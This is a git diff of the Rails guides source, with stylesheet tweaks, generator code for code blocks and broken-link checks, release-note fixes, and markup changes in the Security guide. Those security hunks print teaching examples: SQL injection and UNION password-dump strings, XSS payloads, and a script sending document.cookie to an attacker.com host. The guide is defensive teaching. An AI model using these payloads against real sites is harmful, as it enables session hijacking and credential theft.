margin: 0 2em 2em 0; margin: 0 2em 2em 0;
} }
#topNav strong { #topNav strong {color: #999; margin-right: 0.5em;}
color: #999; #topNav strong a {color: #FFF;}
margin-right: 0.5em;
}
#topNav strong a {
color: #FFF;
}
#header h1 { #header h1 {
float: left; float: left;
background: url(../../images/ruby_guides_logo.gif) no-repeat; background: url(../../images/rails_guides_logo.gif) no-repeat;
width: 492px; width: 297px;
text-indent: -9999em; text-indent: -9999em;
margin: 0; margin: 0;
padding: 0; padding: 0;
} }
#header h1 a { #header h1 a {
text-decoration: none; text-decoration: none;
display: block; display: block;
height: 77px; height: 77px;
} }
#feature p { #feature p {
font-size: 1.2857em; font-size: 1.2857em;
margin-bottom: 0.75em; margin-bottom: 0.75em;
} }
#feature ul { #feature ul {margin-left: 0;}
margin-left: 0;
}
#feature ul li { #feature ul li {
list-style: none; list-style: none;
background: url(../../images/check_bullet.gif) no-repeat left 0.5em; background: url(../../images/check_bullet.gif) no-repeat left 0.5em;
padding: 0.5em 1.75em 0.5em 1.75em; padding: 0.5em 1.75em 0.5em 1.75em;
font-size: 1.1428em; font-size: 1.1428em;
font-weight: bold; font-weight: bold;
} }
#mainCol dd, #subCol dd { #mainCol dd, #subCol dd {
padding: 0.25em 0 1em; padding: 0.25em 0 1em;
border-bottom: 1px solid #CCC; border-bottom: 1px solid #CCC;
margin-bottom: 1em; margin-bottom: 1em;
margin-left: 0; margin-left: 0;
padding-left: 28px; /*padding-left: 28px;*/
padding-left: 0;
} }
#mainCol dt, #subCol dt { #mainCol dt, #subCol dt {
font-size: 1.2857em; font-size: 1.2857em;
padding: 0.125em 0 0.25em 28px; padding: 0.125em 0 0.25em 0;
margin-bottom: 0; margin-bottom: 0;
background: url(../../images/book_icon.gif) no-repeat left top; /*background: url(../../images/book_icon.gif) no-repeat left top;
padding: 0.125em 0 0.25em 28px;*/
} }
#mainCol dd.ticket, #subCol dd.ticket { #mainCol dd.ticket, #subCol dd.ticket {
background: #fff9d8 url(../../images/tab_yellow.gif) no-repeat left top; background: #fff9d8 url(../../images/tab_yellow.gif) no-repeat left top;
border: none; border: none;
padding: 1.25em 1em 1.25em 48px; padding: 1.25em 1em 1.25em 48px;
margin-left: 0; margin-left: 0;
margin-top: 0.25em; margin-top: 0.25em;
} }
#mainCol dd.warning, #subCol dd.warning { #mainCol dd.warning, #subCol dd.warning {
background: #f9d9d8 url(../../images/tab_red.gif) no-repeat left top; background: #f9d9d8 url(../../images/tab_red.gif) no-repeat left top;
border: none; border: none;
padding: 1.25em 1.25em 1.25em 48px; padding: 1.25em 1.25em 1.25em 48px;
margin-left: 0; margin-left: 0;
margin-top: 0.25em; margin-top: 0.25em;
} }
#subCol .chapters { #subCol .chapters {color: #980905;}
color: #980905; #subCol .chapters a {font-weight: bold;}
} #subCol .chapters ul a {font-weight: normal;}
#subCol .chapters a { #subCol .chapters li {margin-bottom: 0.75em;}
font-weight: bold; #subCol h3.chapter {margin-top: 0.25em;}
} #subCol h3.chapter img {vertical-align: text-bottom;}
#subCol .chapters ul a { #subCol .chapters ul {margin-left: 0; margin-top: 0.5em;}
font-weight: normal;
}
#subCol .chapters li {
margin-bottom: 0.75em;
}
#subCol h3.chapter {
margin-top: 0.25em;
}
#subCol h3.chapter img {
vertical-align: text-bottom;
}
#subCol .chapters ul {
margin-left: 0;
margin-top: 0.5em;
}
#subCol .chapters ul li { #subCol .chapters ul li {
list-style: none; list-style: none;
padding: 0 0 0 1em; padding: 0 0 0 1em;
background: url(../../images/bullet.gif) no-repeat left 0.45em; background: url(../../images/bullet.gif) no-repeat left 0.45em;
margin-left: 0; margin-left: 0;
font-size: 1em; font-size: 1em;
font-weight: normal; font-weight: normal;
}
#subCol .chapters p {
font-size: 1em;
} }
tt { tt {
font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace; font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
} }
code, pre { div.code_container {
font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace; background: #EEE url(../../images/tab_grey.gif) no-repeat left top;
background: #EEE url(../../images/tab_grey.gif) no-repeat left top; padding: 0.25em 1em 0.5em 48px;
border: none;
padding: 0.25em 1em 0.5em 48px;
margin-left: 0;
margin-top: 0.25em;
display: block;
min-height: 45px;
overflow: auto;
} }
.info code, .info pre { code {
background-image: none; font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
background-color: #C5D9E6; border: none;
padding: 0.25em 1em; margin: 0.25em 0 1.5em 0;
min-height: 1px; display: block;
} }
.note { .note {
background: #fff9d8 url(../../images/tab_note.gif) no-repeat left top; background: #fff9d8 url(../../images/tab_note.gif) no-repeat left top;
border: none; border: none;
padding: 1em 1em 0.25em 48px; padding: 1em 1em 0.25em 48px;
margin-left: 0; margin: 0.25em 0 1.5em 0;
margin-top: 0.25em;
} }
.info { .info {
background: #d5e9f6 url(../../images/tab_info.gif) no-repeat left top; background: #d5e9f6 url(../../images/tab_info.gif) no-repeat left top;
border: none; border: none;
padding: 1em 1em 0.25em 48px; padding: 1em 1em 0.25em 48px;
margin-left: 0; margin: 0.25em 0 1.5em 0;
margin-top: 0.25em;
} }
.warning { .note tt, .info tt {border:none; background: none; padding: 0;}
background: #f9d9d8 url(../../images/tab_red.gif) no-repeat left top;
border: none;
padding: 1em 1em 0.25em 48px;
margin-left: 0;
margin-top: 0.25em;
}
.warning tt, .note tt, .info tt {
border: none;
background: none;
padding: 0;
}
em.highlight {
background: #fffcdb;
padding: 0 0.25em;
}
#mainCol ul li { #mainCol ul li {
list-style: none; list-style:none;
background: url(../../images/grey_bullet.gif) no-repeat left 0.5em; background: url(../../images/grey_bullet.gif) no-repeat left 0.5em;
padding-left: 1em; padding-left: 1em;
margin-left: 0; margin-left: 0;
} }
#subCol .content {
font-size: 0.7857em;
line-height: 1.5em;
}
#subCol .content li {
font-weight: normal;
background: none;
padding: 0 0 1em;
font-size: 1.1667em;
}
/* Clearing /* Clearing
--------------------------------------- */ --------------------------------------- */
.clearfix:after { .clearfix:after {
content: "."; content: ".";
display: block; display: block;
height: 0; height: 0;
clear: both; clear: both;
visibility: hidden; visibility: hidden;
} }
.clearfix { .clearfix {display: inline-block;}
display: inline-block; * html .clearfix {height: 1%;}
} .clearfix {display: block;}
* html .clearfix { .clear { clear:both; }
height: 1%;
}
.clearfix {
display: block;
}
.clear {
clear: both;
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.4 KiB

After

Width:  |  Height:  |  Size: 4.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.3 KiB

After

Width:  |  Height:  |  Size: 4.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.3 KiB

After

Width:  |  Height:  |  Size: 4.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.3 KiB

After

Width:  |  Height:  |  Size: 4.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.3 KiB

After

Width:  |  Height:  |  Size: 4.6 KiB

View file

@ -1,3 +1,5 @@
require 'set'
module RailsGuides module RailsGuides
class Generator class Generator
attr_reader :output, :view_path, :view, :guides_dir attr_reader :output, :view_path, :view, :guides_dir
@ -55,6 +57,7 @@ module RailsGuides
result = view.render(:layout => 'layout', :text => textile(body)) result = view.render(:layout => 'layout', :text => textile(body))
f.write result f.write result
warn_about_broken_links(result)
end end
end end
end end
@ -106,9 +109,46 @@ module RailsGuides
end end
def textile(body) def textile(body)
t = RedCloth.new(body) # If the issue with nontextile is fixed just remove the wrapper.
t.hard_breaks = false with_workaround_for_nontextile(body) do |body|
t.to_html(:notestuff, :plusplus, :code, :tip) t = RedCloth.new(body)
t.hard_breaks = false
t.to_html(:notestuff, :plusplus, :code, :tip)
end
end
# For some reason the notextile tag does not always turn off textile. See
# LH ticket of the security guide (#7). As a temporary workaround we deal
# with code blocks by hand.
def with_workaround_for_nontextile(body)
code_blocks = []
body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
es = ERB::Util.h($2)
css_class = ['erb', 'shell'].include?($1) ? 'html' : $1
code_blocks << %{<div class="code_container"><code class="#{css_class}">#{es}</code></div>}
"dirty_workaround_for_nontextile_#{code_blocks.size - 1}"
end
body = yield body
body.gsub(%r{<p>dirty_workaround_for_nontextile_(\d+)</p>}) do |_|
code_blocks[$1.to_i]
end
end
def warn_about_broken_links(html)
# Textile generates headers with IDs computed from titles.
anchors = Set.new(html.scan(/<h\d\s+id="([^"]+)/).flatten)
# Also, footnotes are rendered as paragraphs this way.
anchors += Set.new(html.scan(/<p\s+class="footnote"\s+id="([^"]+)/).flatten)
# Check fragment identifiers.
html.scan(/<a\s+href="#([^"]+)/).flatten.each do |fragment_identifier|
next if fragment_identifier == 'mainCol' # in layout, jumps to some DIV
unless anchors.member?(fragment_identifier)
puts "BROKEN LINK: ##{fragment_identifier}"
end
end
end end
end end
end end

View file

@ -31,10 +31,10 @@ module RailsGuides
end end
def code(body) def code(body)
body.gsub!(/\<(yaml|shell|ruby|erb|html|sql)\>(.*?)\<\/\1\>/m) do |m| body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
es = ERB::Util.h($2) es = ERB::Util.h($2)
css_class = ['erb', 'shell'].include?($1) ? 'html' : $1 css_class = ['erb', 'shell'].include?($1) ? 'html' : $1
"<notextile><code class='#{css_class}'>#{es}\n</code></notextile>" %{<notextile><div class="code_container"><code class="#{css_class}">#{es}</code></div></notextile>}
end end
end end
end end

View file

@ -1,5 +1,7 @@
h2. Ruby on Rails 2.3 Release Notes h2. Ruby on Rails 2.3 Release Notes
NOTE: These release notes refer to RC2 of Rails 2.3. This is a release candidate, and not the final version of Rails 2.3. It's intended to be a stable testing release, and we urge you to test your own applications and report any issues to the "Rails Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview.
Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components. Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components.
endprologue. endprologue.
@ -136,7 +138,7 @@ Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
end end
</ruby> </ruby>
You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size: option, which defaults to 1000, to set the number of records that will be returned in each batch. You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size+ option, which defaults to 1000, to set the number of records that will be returned in each batch.
The new +each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default): The new +each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default):
@ -146,7 +148,11 @@ Customer.each do |customer|
end end
</ruby> </ruby>
Note that you should only use this record for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop. Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
* More Information:
- "Rails 2.3: Batch Finding":http://afreshcup.com/2009/02/23/rails-23-batch-finding/
- "What's New in Edge Rails: Batched Find":http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find
h4. Multiple Conditions for Callbacks h4. Multiple Conditions for Callbacks
@ -313,6 +319,8 @@ h4. Other Action Controller Changes
* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores. * Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+. * You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+.
* The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources. * The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources.
* The bundled memcached client has been updated to version 1.6.4.99.
* The +expires_in+, +stale?+, and +fresh_when+ methods now accept a +:public+ option to make them work well with proxy caching.
h3. Action View h3. Action View
@ -431,6 +439,18 @@ returns
</optgroup> </optgroup>
</ruby> </ruby>
h4. A Note About Template Loading
Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your +production.rb+ file:
<ruby>
config.action_view.cache_template_loading = true
</ruby>
This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.
h4. Other Action View Changes h4. Other Action View Changes
* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs. * Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs.
@ -481,7 +501,7 @@ In addition to the Rack changes covered above, Railties (the core code of Rails
h4. Rails Metal h4. Rails Metal
Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
* More Information: * More Information:
** "Introducing Rails Metal":http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal ** "Introducing Rails Metal":http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal
@ -538,6 +558,7 @@ A few pieces of older code are deprecated in this release:
* +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead. * +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead.
* The +:http_only+ option in +ActionController::Response#set_cookie+ has been renamed to +:httponly+. * The +:http_only+ option in +ActionController::Response#set_cookie+ has been renamed to +:httponly+.
* The +:connector+ and +:skip_last_comma+ options of +to_sentence+ have been replaced by +:words_connnector+, +:two_words_connector+, and +:last_word_connector+ options. * The +:connector+ and +:skip_last_comma+ options of +to_sentence+ have been replaced by +:words_connnector+, +:two_words_connector+, and +:last_word_connector+ options.
* Posting a multipart form with an empty +file_field+ control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
h3. Credits h3. Credits

View file

@ -314,7 +314,7 @@ This will find all clients created yesterday by using a +BETWEEN+ SQL statement:
SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00') SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
</sql> </sql>
This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions This demonstrates a shorter syntax for the examples in "Array Conditions":#arrayconditions
h5. Subset conditions h5. Subset conditions
@ -376,7 +376,7 @@ By default, <tt>Model.find</tt> selects all the fields from the result set using
To select only a subset of fields from the result set, you can specify the subset via +:select+ option on the +find+. To select only a subset of fields from the result set, you can specify the subset via +:select+ option on the +find+.
NOTE: If the +:select+ option is used, all the returning objects will be "read only":#read-only objects. NOTE: If the +:select+ option is used, all the returning objects will be "read only":#readonlyobjects.
<br /> <br />

File diff suppressed because it is too large Load diff

View file

@ -500,16 +500,17 @@ seriously considering optimizing their caching needs.
Also the new "Cache money":http://github.com/nkallen/cache-money/tree/master plugin is supposed to be mad cool. Also the new "Cache money":http://github.com/nkallen/cache-money/tree/master plugin is supposed to be mad cool.
h3. References h3. References
* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/2/28/rails-caching-tutorial
* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/3/20/ruby-on-rails-caching-tutorial-part-2
* "ActiveSupport::Cache documentation":http://api.rubyonrails.org/classes/ActiveSupport/Cache.html
* "Rails 2.1 integrated caching tutorial":http://thewebfellas.com/blog/2008/6/9/rails-2-1-now-with-better-integrated-caching
* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/2/28/rails-caching-tutorial
* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/3/20/ruby-on-rails-caching-tutorial-part-2
* "ActiveSupport::Cache documentation":http://api.rubyonrails.org/classes/ActiveSupport/Cache.html
* "Rails 2.1 integrated caching tutorial":http://thewebfellas.com/blog/2008/6/9/rails-2-1-now-with-better-integrated-caching
h3. Changelog h3. Changelog
"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/10-guide-to-caching "Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/10-guide-to-caching
February 22, 2009: Beefed up the section on cache_stores * February 22, 2009: Beefed up the section on cache_stores
December 27, 2008: Typo fixes * December 27, 2008: Typo fixes
November 23, 2008: Incremental updates with various suggested changes and formatting cleanup * November 23, 2008: Incremental updates with various suggested changes and formatting cleanup
September 15, 2008: Initial version by Aditya Chadha * September 15, 2008: Initial version by Aditya Chadha

View file

@ -73,6 +73,10 @@ h3. Digging Deeper
<dl> <dl>
<% guide("Rails on Rack", 'rails_on_rack.html') do %>
This guide covers Rails integration with Rack and interfacing with other Rack components.
<% end %>
<% guide("Rails Internationalization API", 'i18n.html', :ticket => 23) do %> <% guide("Rails Internationalization API", 'i18n.html', :ticket => 23) do %>
This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on. This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.
<% end %> <% end %>
@ -109,8 +113,8 @@ h3. Digging Deeper
This guide covers the command line tools and rake tasks provided by Rails. This guide covers the command line tools and rake tasks provided by Rails.
<% end %> <% end %>
<% guide("Rails on Rack", 'rails_on_rack.html', :ticket => 58) do %> <% guide("Caching with Rails", 'caching_with_rails.html', :ticket => 10) do %>
This guide covers Rails integration with Rack and interfacing with other Rack components. Various caching techniques provided by Rails.
<% end %> <% end %>
</dl> </dl>

View file

@ -683,7 +683,7 @@ Within the context of a layout, +yield+ identifies a section where content from
</head> </head>
<body> <body>
<%= yield %> <%= yield %>
<hbody> </body>
</html> </html>
</erb> </erb>
@ -696,7 +696,7 @@ You can also create a layout with multiple yielding regions:
</head> </head>
<body> <body>
<%= yield %> <%= yield %>
<hbody> </body>
</html> </html>
</erb> </erb>
@ -723,7 +723,7 @@ The result of rendering this page into the supplied layout would be this HTML:
</head> </head>
<body> <body>
<p>Hello, Rails!</p> <p>Hello, Rails!</p>
<hbody> </body>
</html> </html>
</erb> </erb>
@ -822,7 +822,7 @@ Every partial also has a local variable with the same name as the partial (minus
<%= render :partial => "customer", :object => @new_customer %> <%= render :partial => "customer", :object => @new_customer %>
</erb> </erb>
Within the +customer+ partial, the +@customer+ variable will refer to +@new_customer+ from the parent view. Within the +customer+ partial, the +customer+ variable will refer to +@new_customer+ from the parent view.
WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version. WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.

View file

@ -91,12 +91,12 @@ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves
That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb: That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
<pre> <ruby>
config.action_controller.session = { config.action_controller.session = {
:key => '_app_session', :key => '_app_session',
:secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...' :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
} }
</pre> </ruby>
There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it. There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
@ -211,9 +211,9 @@ If your web application is RESTful, you might be used to additional HTTP verbs,
_(highlight)The verify method in a controller can make sure that specific actions may not be used over GET_. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action. _(highlight)The verify method in a controller can make sure that specific actions may not be used over GET_. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.
<pre> <ruby>
verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list} verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}
</pre> </ruby>
With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application. With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.
@ -264,9 +264,9 @@ end
This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL: This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
<pre> <plain>
http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
</pre> </plain>
If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_. If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
@ -424,10 +424,10 @@ There are some authorization and authentication plug-ins for Rails available. A
Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
<pre> <plain>
http://localhost:3006/user/activate http://localhost:3006/user/activate
http://localhost:3006/user/activate?id= http://localhost:3006/user/activate?id=
</pre> </plain>
This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action: This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
@ -437,9 +437,9 @@ User.find_by_activation_code(params[:id])
If the parameter was nil, the resulting SQL query will be If the parameter was nil, the resulting SQL query will be
<pre> <sql>
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1 SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
</pre> </sql>
And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
@ -534,9 +534,9 @@ end
This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems: This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
<pre> <plain>
file.txt%0A<script>alert('hello')</script> file.txt%0A<script>alert('hello')</script>
</pre> </plain>
Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert('hello')&lt;/script&gt;". This file name passes the filter because the regular expression matches up to the line end, the rest does not matter. The correct expression should read: Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert('hello')&lt;/script&gt;". This file name passes the filter because the regular expression matches up to the line end, the rest does not matter. The correct expression should read:
@ -599,9 +599,9 @@ Project.find(:all, :conditions => "name = '#{params[:name]}'")
This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be: This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be:
<pre> <sql>
SELECT * FROM projects WHERE name = '' OR 1 --' SELECT * FROM projects WHERE name = '' OR 1 --'
</pre> </sql>
The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records. The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
@ -615,9 +615,9 @@ User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password
If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be: If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
<pre> <sql>
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1 SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1
</pre> </sql>
This will simply find the first record in the database, and grants access to this user. This will simply find the first record in the database, and grants access to this user.
@ -631,16 +631,16 @@ Project.find(:all, :conditions => "name = '#{params[:name]}'")
And now let's inject another query using the UNION statement: And now let's inject another query using the UNION statement:
<pre> <plain>
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users -- ') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
</pre> </plain>
This will result in the following SQL query: This will result in the following SQL query:
<pre> <sql>
SELECT * FROM projects WHERE (name = '') UNION SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --') SELECT id,login AS name,password AS description,1,1,1 FROM users --')
</pre> </sql>
The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query. The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
@ -686,36 +686,36 @@ The most common XSS language is of course the most popular client-side scripting
Here is the most straightforward test to check for XSS: Here is the most straightforward test to check for XSS:
<pre> <html>
<script>alert('Hello');</script> <script>alert('Hello');</script>
</pre> </html>
This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places: This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
<pre> <html>
<img src=javascript:alert('Hello')> <img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')"> <table background="javascript:alert('Hello')">
</pre> </html>
h6. Cookie theft h6. Cookie theft
These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page: These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
<pre> <plain>
<script>document.write(document.cookie);</script> <script>document.write(document.cookie);</script>
</pre> </plain>
For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie. For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
<pre> <html>
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
</pre> </html>
